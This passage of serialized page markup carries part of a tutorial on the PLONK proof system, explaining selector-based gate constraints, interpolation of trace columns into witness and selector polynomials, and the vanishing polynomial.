tyle":93592},[4808],[142845],{"type":21,"tag":85,"props":142846,"children":142847},{},[],{"type":26,"value":142849},", right input ",{"type":21,"tag":66,"props":142851,"children":142853},{"className":142852},[4748,4749],[142854],{"type":21,"tag":85,"props":142855,"children":142857},{"className":142856},[4754],[142858],{"type":21,"tag":85,"props":142859,"children":142861},{"className":142860,"ariaHidden":4760},[4759],[142862],{"type":21,"tag":85,"props":142863,"children":142865},{"className":142864},[4765],[142866,142870],{"type":21,"tag":85,"props":142867,"children":142869},{"className":142868,"style":110479},[4770],[],{"type":21,"tag":85,"props":142871,"children":142873},{"className":142872},[4776],[142874,142879],{"type":21,"tag":85,"props":142875,"children":142877},{"className":142876,"style":93509},[4776,22016],[142878],{"type":26,"value":94328},{"type":21,"tag":85,"props":142880,"children":142882},{"className":142881},[4793],[142883],{"type":21,"tag":85,"props":142884,"children":142886},{"className":142885},[4798,22070],[142887,142916],{"type":21,"tag":85,"props":142888,"children":142890},{"className":142889},[4803],[142891,142911],{"type":21,"tag":85,"props":142892,"children":142894},{"className":142893,"style":94038},[4808],[142895],{"type":21,"tag":85,"props":142896,"children":142897},{"style":110508},[142898,142902],{"type":21,"tag":85,"props":142899,"children":142901},{"className":142900,"style":4818},[4817],[],{"type":21,"tag":85,"props":142903,"children":142905},{"className":142904},[4823,4824,4825,4826],[142906],{"type":21,"tag":85,"props":142907,"children":142909},{"className":142908},[4776,22016,4826],[142910],{"type":26,"value":3003},{"type":21,"tag":85,"props":142912,"children":142914},{"className":142913},[22173],[142915],{"type":26,"value":22176},{"type":21,"tag":85,"props":142917,"children":142919},{"className":142918},[4803],[142920],{"type":21,"tag":85,"props":142921,"children":142923},{"className":142922,"style":93592},[4808],[142924],{"type":21,"tag":85,"props":142925,"children":142926},{},[],{"type":26,"value":142928},", and output ",{"type":21,"tag":66,"props":142930,"children":142932},{"className":142931},[4748,4749],[142933],{"type":21,"tag":85,"props":142934,"children":142936},{"className":142935},[4754],[142937],{"type":21,"tag":85,"props":142938,"children":142940},{"className":142939,"ariaHidden":4760},[4759],[142941],{"type":21,"tag":85,"props":142942,"children":142944},{"className":142943},[4765],[142945,142949],{"type":21,"tag":85,"props":142946,"children":142948},{"className":142947,"style":110479},[4770],[],{"type":21,"tag":85,"props":142950,"children":142952},{"className":142951},[4776],[142953,142958],{"type":21,"tag":85,"props":142954,"children":142956},{"className":142955},[4776,22016],[142957],{"type":26,"value":93479},{"type":21,"tag":85,"props":142959,"children":142961},{"className":142960},[4793],[142962],{"type":21,"tag":85,"props":142963,"children":142965},{"className":142964},[4798,22070],[142966,142995],{"type":21,"tag":85,"props":142967,"children":142969},{"className":142968},[4803],[142970,142990],{"type":21,"tag":85,"props":142971,"children":142973},{"className":142972,"style":94038},[4808],[142974],{"type":21,"tag":85,"props":142975,"children":142976},{"style":93565},[142977,142981],{"type":21,"tag":85,"props":142978,"children":142980},{"className":142979,"style":4818},[4817],[],{"type":21,"tag":85,"props":142982,"children":142984},{"className":142983},[4823,4824,4825,4826],[142985],{"type":21,"tag":85,"props":142986,"children":142988},{"className":142987},[4776,22016,4826],[142989],{"type":26,"value":3003},{"type":21,"tag":85,"props":142991,"children":142993},{"className":142992},[22173],[142994],{"type":26,"value":22176},{"type":21,"tag":85,"props":142996,"children":142998},{"className":142997},[4803],[142999],{"type":21,"tag":85,"props":143000,"children":143002},{"className":143001,"style":93592},[4808],[143003],{"type":21,"tag":85,"props":143004,"children":143005},{},[],{"type":26,"value":143007},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":21,"tag":22,"props":143009,"children":143010},{},[143011,143013,143018,143020,143124,143126,143229,143231,143236],{"type":26,"value":143012},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":21,"tag":39,"props":143014,"children":143015},{},[143016],{"type":26,"value":143017},"selector",{"type":26,"value":143019}," values that act as switches: setting ",{"type":21,"tag":66,"props":143021,"children":143023},{"className":143022},[4748,4749],[143024],{"type":21,"tag":85,"props":143025,"children":143027},{"className":143026},[4754],[143028],{"type":21,"tag":85,"props":143029,"children":143031},{"className":143030,"ariaHidden":4760},[4759],[143032,143111],{"type":21,"tag":85,"props":143033,"children":143035},{"className":143034},[4765],[143036,143040,143098,143102,143107],{"type":21,"tag":85,"props":143037,"children":143039},{"className":143038,"style":110399},[4770],[],{"type":21,"tag":85,"props":143041,"children":143043},{"className":143042},[4776],[143044,143049],{"type":21,"tag":85,"props":143045,"children":143047},{"className":143046,"style":93995},[4776,22016],[143048],{"type":26,"value":93998},{"type":21,"tag":85,"props":143050,"children":143052},{"className":143051},[4793],[143053],{"type":21,"tag":85,"props":143054,"children":143056},{"className":143055},[4798,22070],[143057,143087],{"type":21,"tag":85,"props":143058,"children":143060},{"className":143059},[4803],[143061,143082],{"type":21,"tag":85,"props":143062,"children":143065},{"className":143063,"style":143064},[4808],"height:0.3283em;",[143066],{"type":21,"tag":85,"props":143067,"children":143068},{"style":94042},[143069,143073],{"type":21,"tag":85,"props":143070,"children":143072},{"className":143071,"style":4818},[4817],[],{"type":21,"tag":85,"props":143074,"children":143076},{"className":143075},[4823,4824,4825,4826],[143077],{"type":21,"tag":85,"props":143078,"children":143080},{"className":143079,"style":95517},[4776,22016,4826],[143081],{"type":26,"value":95520},{"type":21,"tag":85,"props":143083,"children":143085},{"className":143084},[22173],[143086],{"type":26,"value":22176},{"type":21,"tag":85,"props":143088,"children":143090},{"className":143089},[4803],[143091],{"type":21,"tag":85,"props":143092,"children":143094},{"className":143093,"style":93592},[4808],[143095],{"type":21,"tag":85,"props":143096,"children":143097},{},[],{"type":21,"tag":85,"props":143099,"children":143101},{"className":143100,"style":4955},[4857],[],{"type":21,"tag":85,"props":143103,"children":143105},{"className":143104},[4960],[143106],{"type":26,"value":741},{"type":21,"tag":85,"props":143108,"children":143110},{"className":143109,"style":4955},[4857],[],{"type":21,"tag":85,"props":143112,"children":143114},{"className":143113},[4765],[143115,143119],{"type":21,"tag":85,"props":143116,"children":143118},{"className":143117,"style":94540},[4770],[],{"type":21,"tag":85,"props":143120,"children":143122},{"className":143121},[4776],[143123],{"type":26,"value":4779},{"type":26,"value":143125}," makes a row a multiplication gate, setting ",{"type":21,"tag":66,"props":143127,"children":143129},{"className":143128},[4748,4749],[143130],{"type":21,"tag":85,"props":143131,"children":143133},{"className":143132},[4754],[143134],{"type":21,"tag":85,"props":143135,"children":143137},{"className":143136,"ariaHidden":4760},[4759],[143138,143216],{"type":21,"tag":85,"props":143139,"children":143141},{"className":143140},[4765],[143142,143146,143203,143207,143212],{"type":21,"tag":85,"props":143143,"children":143145},{"className":143144,"style":110399},[4770],[],{"type":21,"tag":85,"props":143147,"children":143149},{"className":143148},[4776],[143150,143155],{"type":21,"tag":85,"props":143151,"children":143153},{"className":143152,"style":93995},[4776,22016],[143154],{"type":26,"value":93998},{"type":21,"tag":85,"props":143156,"children":143158},{"className":143157},[4793],[143159],{"type":21,"tag":85,"props":143160,"children":143162},{"className":143161},[4798,22070],[143163,143192],{"type":21,"tag":85,"props":143164,"children":143166},{"className":143165},[4803],[143167,143187],{"type":21,"tag":85,"props":143168,"children":143170},{"className":143169,"style":143064},[4808],[143171],{"type":21,"tag":85,"props":143172,"children":143173},{"style":94042},[143174,143178],{"type":21,"tag":85,"props":143175,"children":143177},{"className":143176,"style":4818},[4817],[],{"type":21,"tag":85,"props":143179,"children":143181},{"className":143180},[4823,4824,4825,4826],[143182],{"type":21,"tag":85,"props":143183,"children":143185},{"className":143184},[4776,22016,4826],[143186],{"type":26,"value":118473},{"type":21,"tag":85,"props":143188,"children":143190},{"className":143189},[22173],[143191],{"type":26,"value":22176},{"type":21,"tag":85,"props":143193,"children":143195},{"className":143194},[4803],[143196],{"type":21,"tag":85,"props":143197,"children":143199},{"className":143198,"style":93592},[4808],[143200],{"type":21,"tag":85,"props":143201,"children":143202},{},[],{"type":21,"tag":85,"props":143204,"children":143206},{"className":143205,"style":4955},[4857],[],{"type":21,"tag":85,"props":143208,"children":143210},{"className":143209},[4960],[143211],{"type":26,"value":741},{"type":21,"tag":85,"props":143213,"children":143215},{"className":143214,"style":4955},[4857],[],{"type":21,"tag":85,"props":143217,"children":143219},{"className":143218},[4765],[143220,143224],{"type":21,"tag":85,"props":143221,"children":143223},{"className":143222,"style":94540},[4770],[],{"type":21,"tag":85,"props":143225,"children":143227},{"className":143226},[4776],[143228],{"type":26,"value":4779},{"type":26,"value":143230}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":21,"tag":39,"props":143232,"children":143233},{},[143234],{"type":26,"value":143235},"permutation argument",{"type":26,"value":143237}," for that, which we will not cover here.",{"type":21,"tag":10022,"props":143239,"children":143241},{"id":143240},"from-many-checks-to-one",[143242],{"type":26,"value":143243},"From many checks to one",{"type":21,"tag":22,"props":143245,"children":143246},{},[143247,143249,143254,143255,143347,143348,143440,143441,143533,143535,143540,143541,143633,143634,143726,143728,143753,143755,143780,143782,143874,143876,143901,143903,143928],{"type":26,"value":143248},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":21,"tag":39,"props":143250,"children":143251},{},[143252],{"type":26,"value":143253},"witness polynomials",{"type":26,"value":790},{"type":21,"tag":66,"props":143256,"children":143258},{"className":143257},[4748,4749],[143259],{"type":21,"tag":85,"props":143260,"children":143262},{"className":143261},[4754],[143263],{"type":21,"tag":85,"props":143264,"children":143266},{"className":143265,"ariaHidden":4760},[4759],[143267],{"type":21,"tag":85,"props":143268,"children":143270},{"className":143269},[4765],[143271,143275,143332,143337,143342],{"type":21,"tag":85,"props":143272,"children":143274},{"className":143273,"style":4878},[4770],[],{"type":21,"tag":85,"props":143276,"children":143278},{"className":143277},[4776],[143279,143284],{"type":21,"tag":85,"props":143280,"children":143282},{"className":143281,"style":95863},[4776,22016],[143283],{"type":26,"value":33531},{"type":21,"tag":85,"props":143285,"children":143287},{"className":143286},[4793],[143288],{"type":21,"tag":85,"props":143289,"children":143291},{"className":143290},[4798,22070],[143292,143321],{"type":21,"tag":85,"props":143293,"children":143295},{"className":143294},[4803],[143296,143316],{"type":21,"tag":85,"props":143297,"children":143299},{"className":143298,"style":143064},[4808],[143300],{"type":21,"tag":85,"props":143301,"children":143302},{"style":95884},[143303,143307],{"type":21,"tag":85,"props":143304,"children":143306},{"className":143305,"style":4818},[4817],[],{"type":21,"tag":85,"props":143308,"children":143310},{"className":143309},[4823,4824,4825,4826],[143311],{"type":21,"tag":85,"props":143312,"children":143314},{"className":143313},[4776,22016,4826],[143315],{"type":26,"value":118473},{"type":21,"tag":85,"props":143317,"children":143319},{"className":143318},[22173],[143320],{"type":26,"value":22176},{"type":21,"tag":85,"props":143322,"children":143324},{"className":143323},[4803],[143325],{"type":21,"tag":85,"props":143326,"children":143328},{"className":143327,"style":93592},[4808],[143329],{"type":21,"tag":85,"props":143330,"children":143331},{},[],{"type":21,"tag":85,"props":143333,"children":143335},{"className":143334},[22145],[143336],{"type":26,"value":1439},{"type":21,"tag":85,"props":143338,"children":143340},{"className":143339},[4776,22016],[143341],{"type":26,"value":19702},{"type":21,"tag":85,"props":143343,"children":143345},{"className":143344},[22167],[143346],{"type":26,"value":1900},{"type":26,"value":256},{"type":21,"tag":66,"props":143349,"children":143351},{"className":143350},[4748,4749],[143352],{"type":21,"tag":85,"props":143353,"children":143355},{"className":143354},[4754],[143356],{"type":21,"tag":85,"props":143357,"children":143359},{"className":143358,"ariaHidden":4760},[4759],[143360],{"type":21,"tag":85,"props":143361,"children":143363},{"className":143362},[4765],[143364,143368,143425,143430,143435],{"type":21,"tag":85,"props":143365,"children":143367},{"className":143366,"style":4878},[4770],[],{"type":21,"tag":85,"props":143369,"children":143371},{"className":143370},[4776],[143372,143377],{"type":21,"tag":85,"props":143373,"children":143375},{"className":143374,"style":95863},[4776,22016],[143376],{"type":26,"value":33531},{"type":21,"tag":85,"props":143378,"children":143380},{"className":143379},[4793],[143381],{"type":21,"tag":85,"props":143382,"children":143384},{"className":143383},[4798,22070],[143385,143414],{"type":21,"tag":85,"props":143386,"children":143388},{"className":143387},[4803],[143389,143409],{"type":21,"tag":85,"props":143390,"children":143392},{"className":143391,"style":143064},[4808],[143393],{"type":21,"tag":85,"props":143394,"children":143395},{"style":95884},[143396,143400],{"type":21,"tag":85,"props":143397,"children":143399},{"className":143398,"style":4818},[4817],[],{"type":21,"tag":85,"props":143401,"children":143403},{"className":143402},[4823,4824,4825,4826],[143404],{"type":21,"tag":85,"props":143405,"children":143407},{"className":143406,"style":123286},[4776,22016,4826],[143408],{"type":26,"value":123289},{"type":21,"tag":85,"props":143410,"children":143412},{"className":143411},[22173],[143413],{"type":26,"value":22176},{"type":21,"tag":85,"props":143415,"children":143417},{"className":143416},[4803],[143418],{"type":21,"tag":85,"props":143419,"children":143421},{"className":143420,"style":93592},[4808],[143422],{"type":21,"tag":85,"props":143423,"children":143424},{},[],{"type":21,"tag":85,"props":143426,"children":143428},{"className":143427},[22145],[143429],{"type":26,"value":1439},{"type":21,"tag":85,"props":143431,"children":143433},{"className":143432},[4776,22016],[143434],{"type":26,"value":19702},{"type":21,"tag":85,"props":143436,"children":143438},{"className":143437},[22167],[143439],{"type":26,"value":1900},{"type":26,"value":256},{"type":21,"tag":66,"props":143442,"children":143444},{"className":143443},[4748,4749],[143445],{"type":21,"tag":85,"props":143446,"children":143448},{"className":143447},[4754],[143449],{"type":21,"tag":85,"props":143450,"children":143452},{"className":143451,"ariaHidden":4760},[4759],[143453],{"type":21,"tag":85,"props":143454,"children":143456},{"className":143455},[4765],[143457,143461,143518,143523,143528],{"type":21,"tag":85,"props":143458,"children":143460},{"className":143459,"style":4878},[4770],[],{"type":21,"tag":85,"props":143462,"children":143464},{"className":143463},[4776],[143465,143470],{"type":21,"tag":85,"props":143466,"children":143468},{"className":143467,"style":95863},[4776,22016],[143469],{"type":26,"value":33531},{"type":21,"tag":85,"props":143471,"children":143473},{"className":143472},[4793],[143474],{"type":21,"tag":85,"props":143475,"children":143477},{"className":143476},[4798,22070],[143478,143507],{"type":21,"tag":85,"props":143479,"children":143481},{"className":143480},[4803],[143482,143502],{"type":21,"tag":85,"props":143483,"children":143485},{"className":143484,"style":143064},[4808],[143486],{"type":21,"tag":85,"props":143487,"children":143488},{"style":95884},[143489,143493],{"type":21,"tag":85,"props":143490,"children":143492},{"className":143491,"style":4818},[4817],[],{"type":21,"tag":85,"props":143494,"children":143496},{"className":143495},[4823,4824,4825,4826],[143497],{"type":21,"tag":85,"props":143498,"children":143500},{"className":143499,"style":93509},[4776,22016,4826],[143501],{"type":26,"value":115828},{"type":21,"tag":85,"props":143503,"children":143505},{"className":143504},[22173],[143506],{"type":26,"value":22176},{"type":21,"tag":85,"props":143508,"children":143510},{"className":143509},[4803],[143511],{"type":21,"tag":85,"props":143512,"children":143514},{"className":143513,"style":93592},[4808],[143515],{"type":21,"tag":85,"props":143516,"children":143517},{},[],{"type":21,"tag":85,"props":143519,"children":143521},{"className":143520},[22145],[143522],{"type":26,"value":1439},{"type":21,"tag":85,"props":143524,"children":143526},{"className":143525},[4776,22016],[143527],{"type":26,"value":19702},{"type":21,"tag":85,"props":143529,"children":143531},{"className":143530},[22167],[143532],{"type":26,"value":1900},{"type":26,"value":143534}," and the selectors become ",{"type":21,"tag":39,"props":143536,"children":143537},{},[143538],{"type":26,"value":143539},"selector polynomials",{"type":26,"value":790},{"type":21,"tag":66,"props":143542,"children":143544},{"className":143543},[4748,4749],[143545],{"type":21,"tag":85,"props":143546,"children":143548},{"className":143547},[4754],[143549],{"type":21,"tag":85,"props":143550,"children":143552},{"className":143551,"ariaHidden":4760},[4759],[143553],{"type":21,"tag":85,"props":143554,"children":143556},{"className":143555},[4765],[143557,143561,143618,143623,143628],{"type":21,"tag":85,"props":143558,"children":143560},{"className":143559,"style":4878},[4770],[],{"type":21,"tag":85,"props":143562,"children":143564},{"className":143563},[4776],[143565,143570],{"type":21,"tag":85,"props":143566,"children":143568},{"className":143567},[4776,22016],[143569],{"type":26,"value":77264},{"type":21,"tag":85,"props":143571,"children":143573},{"className":143572},[4793],[143574],{"type":21,"tag":85,"props":143575,"children":143577},{"className":143576},[4798,22070],[143578,143607],{"type":21,"tag":85,"props":143579,"children":143581},{"className":143580},[4803],[143582,143602],{"type":21,"tag":85,"props":143583,"children":143585},{"className":143584,"style":143064},[4808],[143586],{"type":21,"tag":85,"props":143587,"children":143588},{"style":93565},[143589,143593],{"type":21,"tag":85,"props":143590,"children":143592},{"className":143591,"style":4818},[4817],[],{"type":21,"tag":85,"props":143594,"children":143596},{"className":143595},[4823,4824,4825,4826],[143597],{"type":21,"tag":85,"props":143598,"children":143600},{"className":143599,"style":95517},[4776,22016,4826],[143601],{"type":26,"value":95520},{"type":21,"tag":85,"props":143603,"children":143605},{"className":143604},[22173],[143606],{"type":26,"value":22176},{"type":21,"tag":85,"props":143608,"children":143610},{"className":143609},[4803],[143611],{"type":21,"tag":85,"props":143612,"children":143614},{"className":143613,"style":93592},[4808],[143615],{"type":21,"tag":85,"props":143616,"children":143617},{},[],{"type":21,"tag":85,"props":143619,"children":143621},{"className":143620},[22145],[143622],{"type":26,"value":1439},{"type":21,"tag":85,"props":143624,"children":143626},{"className":143625},[4776,22016],[143627],{"type":26,"value":19702},{"type":21,"tag":85,"props":143629,"children":143631},{"className":143630},[22167],[143632],{"type":26,"value":1900},{"type":26,"value":256},{"type":21,"tag":66,"props":143635,"children":143637},{"className":143636},[4748,4749],[143638],{"type":21,"tag":85,"props":143639,"children":143641},{"className":143640},[4754],[143642],{"type":21,"tag":85,"props":143643,"children":143645},{"className":143644,"ariaHidden":4760},[4759],[143646],{"type":21,"tag":85,"props":143647,"children":143649},{"className":143648},[4765],[143650,143654,143711,143716,143721],{"type":21,"tag":85,"props":143651,"children":143653},{"className":143652,"style":4878},[4770],[],{"type":21,"tag":85,"props":143655,"children":143657},{"className":143656},[4776],[143658,143663],{"type":21,"tag":85,"props":143659,"children":143661},{"className":143660},[4776,22016],[143662],{"type":26,"value":77264},{"type":21,"tag":85,"props":143664,"children":143666},{"className":143665},[4793],[143667],{"type":21,"tag":85,"props":143668,"children":143670},{"className":143669},[4798,22070],[143671,143700],{"type":21,"tag":85,"props":143672,"children":143674},{"className":143673},[4803],[143675,143695],{"type":21,"tag":85,"props":143676,"children":143678},{"className":143677,"style":143064},[4808],[143679],{"type":21,"tag":85,"props":143680,"children":143681},{"style":93565},[143682,143686],{"type":21,"tag":85,"props":143683,"children":143685},{"className":143684,"style":4818},[4817],[],{"type":21,"tag":85,"props":143687,"children":143689},{"className":143688},[4823,4824,4825,4826],[143690],{"type":21,"tag":85,"props":143691,"children":143693},{"className":143692},[4776,22016,4826],[143694],{"type":26,"value":118473},{"type":21,"tag":85,"props":143696,"children":143698},{"className":143697},[22173],[143699],{"type":26,"value":22176},{"type":21,"tag":85,"props":143701,"children":143703},{"className":143702},[4803],[143704],{"type":21,"tag":85,"props":143705,"children":143707},{"className":143706,"style":93592},[4808],[143708],{"type":21,"tag":85,"props":143709,"children":143710},{},[],{"type":21,"tag":85,"props":143712,"children":143714},{"className":143713},[22145],[143715],{"type":26,"value":1439},{"type":21,"tag":85,"props":143717,"children":143719},{"className":143718},[4776,22016],[143720],{"type":26,"value":19702},{"type":21,"tag":85,"props":143722,"children":143724},{"className":143723},[22167],[143725],{"type":26,"value":1900},{"type":26,"value":143727},", etc., all interpolated over a domain ",{"type":21,"tag":66,"props":143729,"children":143731},{"className":143730},[4748,4749],[143732],{"type":21,"tag":85,"props":143733,"children":143735},{"className":143734},[4754],[143736],{"type":21,"tag":85,"props":143737,"children":143739},{"className":143738,"ariaHidden":4760},[4759],[143740],{"type":21,"tag":85,"props":143741,"children":143743},{"className":143742},[4765],[143744,143748],{"type":21,"tag":85,"props":143745,"children":143747},{"className":143746,"style":22011},[4770],[],{"type":21,"tag":85,"props":143749,"children":143751},{"className":143750,"style":93743},[4776,22016],[143752],{"type":26,"value":93746},{"type":26,"value":143754}," of ",{"type":21,"tag":66,"props":143756,"children":143758},{"className":143757},[4748,4749],[143759],{"type":21,"tag":85,"props":143760,"children":143762},{"className":143761},[4754],[143763],{"type":21,"tag":85,"props":143764,"children":143766},{"className":143765,"ariaHidden":4760},[4759],[143767],{"type":21,"tag":85,"props":143768,"children":143770},{"className":143769},[4765],[143771,143775],{"type":21,"tag":85,"props":143772,"children":143774},{"className":143773,"style":111350},[4770],[],{"type":21,"tag":85,"props":143776,"children":143778},{"className":143777},[4776,22016],[143779],{"type":26,"value":56860},{"type":26,"value":143781},"-th roots of unity. Evaluating ",{"type":21,"tag":66,"props":143783,"children":143785},{"className":143784},[4748,4749],[143786],{"type":21,"tag":85,"props":143787,"children":143789},{"className":143788},[4754],[143790],{"type":21,"tag":85,"props":143791,"children":143793},{"className":143792,"ariaHidden":4760},[4759],[143794],{"type":21,"tag":85,"props":143795,"children":143797},{"className":143796},[4765],[143798,143802,143859,143864,143869],{"type":21,"tag":85,"props":143799,"children":143801},{"className":143800,"style":4878},[4770],[],{"type":21,"tag":85,"props":143803,"children":143805},{"className":143804},[4776],[143806,143811],{"type":21,"tag":85,"props":143807,"children":143809},{"className":143808,"style":95863},[4776,22016],[143810],{"type":26,"value":33531},{"type":21,"tag":85,"props":143812,"children":143814},{"className":143813},[4793],[143815],{"type":21,"tag":85,"props":143816,"children":143818},{"className":143817},[4798,22070],[143819,143848],{"type":21,"tag":85,"props":143820,"children":143822},{"className":143821},[4803],[143823,143843],{"type":21,"tag":85,"props":143824,"children":143826},{"className":143825,"style":143064},[4808],[143827],{"type":21,"tag":85,"props":143828,"children":143829},{"style":95884},[143830,143834],{"type":21,"tag":85,"props":143831,"children":143833},{"className":143832,"style":4818},[4817],[],{"type":21,"tag":85,"props":143835,"children":143837},{"className":143836},[4823,4824,4825,4826],[143838],{"type":21,"tag":85,"props":143839,"children":143841},{"className":143840},[4776,22016,4826],[143842],{"type":26,"value":118473},{"type":21,"tag":85,"props":143844,"children":143846},{"className":143845},[22173],[143847],{"type":26,"value":22176},{"type":21,"tag":85,"props":143849,"children":143851},{"className":143850},[4803],[143852],{"type":21,"tag":85,"props":143853,"children":143855},{"className":143854,"style":93592},[4808],[143856],{"type":21,"tag":85,"props":143857,"children":143858},{},[],{"type":21,"tag":85,"props":143860,"children":143862},{"className":143861},[22145],[143863],{"type":26,"value":1439},{"type":21,"tag":85,"props":143865,"children":143867},{"className":143866},[4776,22016],[143868],{"type":26,"value":19702},{"type":21,"tag":85,"props":143870,"children":143872},{"className":143871},[22167],[143873],{"type":26,"value":1900},{"type":26,"value":143875}," at the ",{"type":21,"tag":66,"props":143877,"children":143879},{"className":143878},[4748,4749],[143880],{"type":21,"tag":85,"props":143881,"children":143883},{"className":143882},[4754],[143884],{"type":21,"tag":85,"props":143885,"children":143887},{"className":143886,"ariaHidden":4760},[4759],[143888],{"type":21,"tag":85,"props":143889,"children":143891},{"className":143890},[4765],[143892,143896],{"type":21,"tag":85,"props":143893,"children":143895},{"className":143894,"style":142760},[4770],[],{"type":21,"tag":85,"props":143897,"children":143899},{"className":143898},[4776,22016],[143900],{"type":26,"value":3003},{"type":26,"value":143902},"-th root recovers the left wire value at row ",{"type":21,"tag":66,"props":143904,"children":143906},{"className":143905},[4748,4749],[143907],{"type":21,"tag":85,"props":143908,"children":143910},{"className":143909},[4754],[143911],{"type":21,"tag":85,"props":143912,"children":143914},{"className":143913,"ariaHidden":4760},[4759],[143915],{"type":21,"tag":85,"props":143916,"children":143918},{"className":143917},[4765],[143919,143923],{"type":21,"tag":85,"props":143920,"children":143922},{"className":143921,"style":142760},[4770],[],{"type":21,"tag":85,"props":143924,"children":143926},{"className":143925},[4776,22016],[143927],{"type":26,"value":3003},{"type":26,"value":73},{"type":21,"tag":143930,"props":143931,"children":143932},"polynomial-interpolation-panel",{},[],{"type":21,"tag":22,"props":143934,"children":143935},{},[143936,143938,143978,143980,144046,144048,144178,144180,144220,144222,144262,144264,144304,144305,144427],{"type":26,"value":143937},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":21,"tag":66,"props":143939,"children":143941},{"className":143940},[4748,4749],[143942],{"type":21,"tag":85,"props":143943,"children":143945},{"className":143944},[4754],[143946],{"type":21,"tag":85,"props":143947,"children":143949},{"className":143948,"ariaHidden":4760},[4759],[143950],{"type":21,"tag":85,"props":143951,"children":143953},{"className":143952},[4765],[143954,143958,143963,143968,143973],{"type":21,"tag":85,"props":143955,"children":143957},{"className":143956,"style":4878},[4770],[],{"type":21,"tag":85,"props":143959,"children":143961},{"className":143960,"style":22017},[4776,22016],[143962],{"type":26,"value":122287},{"type":21,"tag":85,"props":143964,"children":143966},{"className":143965},[22145],[143967],{"type":26,"value":1439},{"type":21,"tag":85,"props":143969,"children":143971},{"className":143970},[4776,22016],[143972],{"type":26,"value":19702},{"type":21,"tag":85,"props":143974,"children":143976},{"className":143975},[22167],[143977],{"type":26,"value":1900},{"type":26,"value":143979}," that combines selectors and witnesses. If the prover was honest, ",{"type":21,"tag":66,"props":143981,"children":143983},{"className":143982},[4748,4749],[143984],{"type":21,"tag":85,"props":143985,"children":143987},{"className":143986},[4754],[143988],{"type":21,"tag":85,"props":143989,"children":143991},{"className":143990,"ariaHidden":4760},[4759],[143992,144033],{"type":21,"tag":85,"props":143993,"children":143995},{"className":143994},[4765],[143996,144000,144005,144010,144015,144020,144024,144029],{"type":21,"tag":85,"props":143997,"children":143999},{"className":143998,"style":4878},[4770],[],{"type":21,"tag":85,"props":144001,"children":144003},{"className":144002,"style":22017},[4776,22016],[144004],{"type":26,"value":122287},{"type":21,"tag":85,"props":144006,"children":144008},{"className":144007},[22145],[144009],{"type":26,"value":1439},{"type":21,"tag":85,"props":144011,"children":144013},{"className":144012},[4776,22016],[144014],{"type":26,"value":19702},{"type":21,"tag":85,"props":144016,"children":144018},{"className":144017},[22167],[144019],{"type":26,"value":1900},{"type":21,"tag":85,"props":144021,"children":144023},{"className":144022,"style":4955},[4857],[],{"type":21,"tag":85,"props":144025,"children":144027},{"className":144026},[4960],[144028],{"type":26,"value":741},{"type":21,"tag":85,"props":144030,"children":144032},{"className":144031,"style":4955},[4857],[],{"type":21,"tag":85,"props":144034,"children":144036},{"className":144035},[4765],[144037,144041],{"type":21,"tag":85,"props":144038,"children":144040},{"className":144039,"style":94540},[4770],[],{"type":21,"tag":85,"props":144042,"children":144044},{"className":144043},[4776],[144045],{"type":26,"value":4789},{"type":26,"value":144047}," at every row index in the domain. The vanishing polynomial ",{"type":21,"tag":66,"props":144049,"children":144051},{"className":144050},[4748,4749],[144052],{"type":21,"tag":85,"props":144053,"children":144055},{"className":144054},[4754],[144056],{"type":21,"tag":85,"props":144057,"children":144059},{"className":144058,"ariaHidden":4760},[4759],[144060,144102,144165],{"type":21,"tag":85,"props":144061,"children":144063},{"className":144062},[4765],[144064,144068,144074,144079,144084,144089,144093,144098],{"type":21,"tag":85,"props":144065,"children":144067},{"className":144066,"style":4878},[4770],[],{"type":21,"tag":85,"props":144069,"children":144071},{"className":144070,"style":22548},[4776,22016],[144072],{"type":26,"value":144073},"Z",{"type":21,"tag":85,"props":144075,"children":144077},{"className":144076},[22145],[144078],{"type":26,"value":1439},{"type":21,"tag":85,"props":144080,"children":144082},{"className":144081},[4776,22016],[144083],{"type":26,"value":19702},{"type":21,"tag":85,"props":144085,"children":144087},{"className":144086},[22167],[144088],{"type":26,"value":1900},{"type":21,"tag":85,"props":144090,"children":144092},{"className":144091,"style":4955},[4857],[],{"type":21,"tag":85,"props":144094,"children":144096},{"className":144095},[4960],[144097],{"type":26,"value":741},{"type":21,"tag":85,"props":144099,"children":144101},{"className":144100,"style":4955},[4857],[],{"type":21,"tag":85,"props":144103,"children":144105},{"className":144104},[4765],[144106,144111,144152,144156,144161],{"type":21,"tag":85,"props":144107,"children":144110},{"className":144108,"style":144109},[4770],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":21,"tag":85,"props":144112,"children":144114},{"className":144113},[4776],[144115,144120],{"type":21,"tag":85,"props":144116,"children":144118},{"className":144117},[4776,22016],[144119],{"type":26,"value":19702},{"type":21,"tag":85,"props":144121,"children":144123},{"className":144122},[4793],[144124],{"type":21,"tag":85,"props":144125,"children":144127},{"className":144126},[4798],[144128],{"type":21,"tag":85,"props":144129,"children":144131},{"className":144130},[4803],[144132],{"type":21,"tag":85,"props":144133,"children":144135},{"className":144134,"style":109226},[4808],[144136],{"type":21,"tag":85,"props":144137,"children":144138},{"style":4812},[144139,144143],{"type":21,"tag":85,"props":144140,"children":144142},{"className":144141,"style":4818},[4817],[],{"type":21,"tag":85,"props":144144,"children":144146},{"className":144145},[4823,4824,4825,4826],[144147],{"type":21,"tag":85,"props":144148,"children":144150},{"className":144149},[4776,22016,4826],[144151],{"type":26,"value":56860},{"type":21,"tag":85,"props":144153,"children":144155},{"className":144154,"style":4858},[4857],[],{"type":21,"tag":85,"props":144157,"children":144159},{"className":144158},[4863],[144160],{"type":26,"value":4837},{"type":21,"tag":85,"props":144162,"children":144164},{"className":144163,"style":4858},[4857],[],{"type":21,"tag":85,"props":144166,"children":144168},{"className":144167},[4765],[144169,144173],{"type":21,"tag":85,"props":144170,"children":144172},{"className":144171,"style":94540},[4770],[],{"type":21,"tag":85,"props":144174,"children":144176},{"className":144175},[4776],[144177],{"type":26,"value":4779},{"type":26,"value":144179}," is zero on exactly those points, so if all constraints hold then 